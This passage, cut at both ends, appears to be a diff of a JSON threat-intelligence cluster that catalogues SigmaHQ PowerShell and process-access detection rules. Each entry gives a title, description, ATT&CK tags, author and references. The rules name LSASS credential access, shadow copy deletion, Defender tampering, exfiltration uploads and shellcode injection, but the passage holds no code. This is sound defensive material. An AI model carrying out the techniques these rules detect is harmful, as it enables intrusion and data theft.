"attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2022/07/08", - "filename": "posh_ps_susp_proxy_scripts.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", - "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", - "value": "Recon Information for Export with PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ], - "creation_date": "2021/07/30", - "filename": "posh_ps_susp_recon_export.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", - "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", - "value": "Remove Account From Domain Admin Group", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ], - "creation_date": "2021/12/26", - "filename": "posh_ps_susp_remove_adgroupmember.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "uuid": "22d80745-6f2c-46da-826b-77adaededd74", - "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS", - "meta": { - "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2022/10/24", - "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare intended use of hidden services", - "Rare FP could occure due to the non linearity of the ScriptBlockText log" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", - "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", - "value": "Suspicious Get Information for SMB Share", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2021/12/15", - "filename": "posh_ps_susp_smb_share_reco.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", - "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", - "value": "Suspicious SSL Connection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", - "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ], - "creation_date": "2022/01/23", - "filename": "posh_ps_susp_ssl_keyword.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Powershell use PassThru option to start in background", - "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", - "value": "Suspicious Start-Process PassThru", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2022/01/15", - "filename": "posh_ps_susp_start_process.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", - "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", - "value": "Suspicious Unblock-File", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ], - "creation_date": "2022/02/01", - "filename": "posh_ps_susp_unblock_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", - "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", - "value": "Replace Desktop Wallpaper by Powershell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml" - ], - "tags": [ - "attack.impact", - "attack.t1491.001" - ], - "creation_date": "2021/12/26", - "filename": "posh_ps_susp_wallpaper.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", - "uuid": "b26647de-4feb-4283-af6b-6117661283c5", - "value": "Powershell Suspicious Win32_PnPEntity", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1120" - ], - "creation_date": "2021/08/23", - "filename": "posh_ps_susp_win32_pnpentity.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Admin script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", - "value": "Delete Volume Shadow Copies via WMI with PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2021/12/26", - "filename": "posh_ps_susp_win32_shadowcopy.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", - "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/09/20", - "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", - "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", - "value": "Suspicious PowerShell WindowStyle Option", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.003" - ], - "creation_date": "2021/10/20", - "filename": "posh_ps_susp_windowstyle.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", - "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", - "value": "PowerShell Write-EventLog Usage", - "meta": { - "refs": [ - "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/16", - "filename": "posh_ps_susp_write_eventlog.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", - "value": "Zip A Folder With PowerShell For Staging In Temp", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ], - "creation_date": "2021/07/20", - "filename": "posh_ps_susp_zip_compress.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", - "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", - "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/05", - "filename": "posh_ps_syncappvpublishingserver_exe.yml", - "author": "Ensar \u015eamil, @sblmsrsn, OSCD Community", - "level": "medium", - "falsepositive": [ - "App-V clients" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", - "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2", - "value": "Tamper Windows Defender - ScriptBlockLogging", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", - "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/01/16", - "filename": "posh_ps_tamper_defender.yml", - "author": "frack113, elhoim", - "level": "high", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", - "uuid": "ae2bdd58-0681-48ac-be7f-58ab4e593458", - "value": "Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging", - "meta": { - "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_defender_remove_mppreference.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/05", - "filename": "posh_ps_tamper_defender_remove_mppreference.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.\n", - "uuid": "adf876b3-f1f8-4aa9-a4e4-a64106feec06", - "value": "Testing Usage of Uncommonly Used Port", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1571/T1571.md#atomic-test-1---testing-usage-of-uncommonly-used-port-with-powershell", - "https://docs.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1571" - ], - "creation_date": "2022/01/23", - "filename": "posh_ps_test_netconnection.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", - "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", - "value": "Powershell Timestomp", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", - "https://www.offensive-security.com/metasploit-unleashed/timestomp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ], - "creation_date": "2021/08/03", - "filename": "posh_ps_timestomp.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate admin script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", - "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", - "value": "Powershell Trigger Profiles by Add_Content", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.013" - ], - "creation_date": "2021/08/18", - "filename": "posh_ps_trigger_profiles.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", - "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", - "value": "Windows PowerShell Upload Web Request", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", - "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ], - "creation_date": "2022/01/07", - "filename": "posh_ps_upload.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", - "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS", - "meta": { - "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2022/10/17", - "filename": "posh_ps_using_set_service_to_hide_services.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare intended use of hidden services", - "Rare FP could occure due to the non linearity of the ScriptBlockText log" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", - "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", - "value": "Windows PowerShell Web Request", - "meta": { - "refs": [ - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", - "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/24", - "filename": "posh_ps_web_request.yml", - "author": "James Pemberton / @4A616D6573", - "level": "medium", - "falsepositive": [ - "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", - "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", - "value": "PowerShell WMI Win32_Product Install MSI", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/04/24", - "filename": "posh_ps_win32_product_install_msi.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", - "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", - "value": "Windows Firewall Profile Disabled", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", - "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", - "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", - "http://woshub.com/manage-windows-firewall-powershell/", - "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2021/10/12", - "filename": "posh_ps_windows_firewall_profile_disabled.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", - "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", - "value": "Winlogon Helper DLL", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ], - "creation_date": "2019/10/21", - "filename": "posh_ps_winlogon_helper_dll.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", - "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", - "value": "Windows Defender Exclusions Added via Powershell", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/09/16", - "filename": "posh_ps_win_defender_exclusions_added.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects parameters used by WMImplant", - "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", - "value": "WMImplant Hack Tool", - "meta": { - "refs": [ - "https://github.com/FortyNorthSecurity/WMImplant", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1059.001" - ], - "creation_date": "2020/03/26", - "filename": "posh_ps_wmimplant.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Administrative scripts that use the same keywords." - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", - "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", - "value": "Powershell WMI Persistence", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.003" - ], - "creation_date": "2021/08/19", - "filename": "posh_ps_wmi_persistence.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", - "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", - "value": "WMIC Unquoted Services Path Lookup", - "meta": { - "refs": [ - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2022/06/20", - "filename": "posh_ps_wmi_unquoted_service_search.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", - "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", - "value": "Powershell XML Execute Command", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/01/19", - "filename": "posh_ps_xml_iex.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate administrative script" - ], - "logsource.category": "ps_script", - "logsource.product": "windows" - } - }, - { - "description": "Detects shellcode injection by Metasploit's migrate and Empire's psinject", - "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", - "value": "Shellcode Injection", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_shellcode_inject_msf_empire.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ], - "creation_date": "2022/03/11", - "filename": "process_access_win_shellcode_inject_msf_empire.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Empire's csharp_exe payload uses 0x1f3fff for process enumeration as well" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", - "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", - "value": "Suspicious LSASS Access Via MalSecLogon", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1541920424635912196", - "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", - "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/06/29", - "filename": "process_access_win_susp_seclogon.yml", - "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", - "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", - "value": "CMSTP Execution Process Access", - "meta": { - "refs": [ - 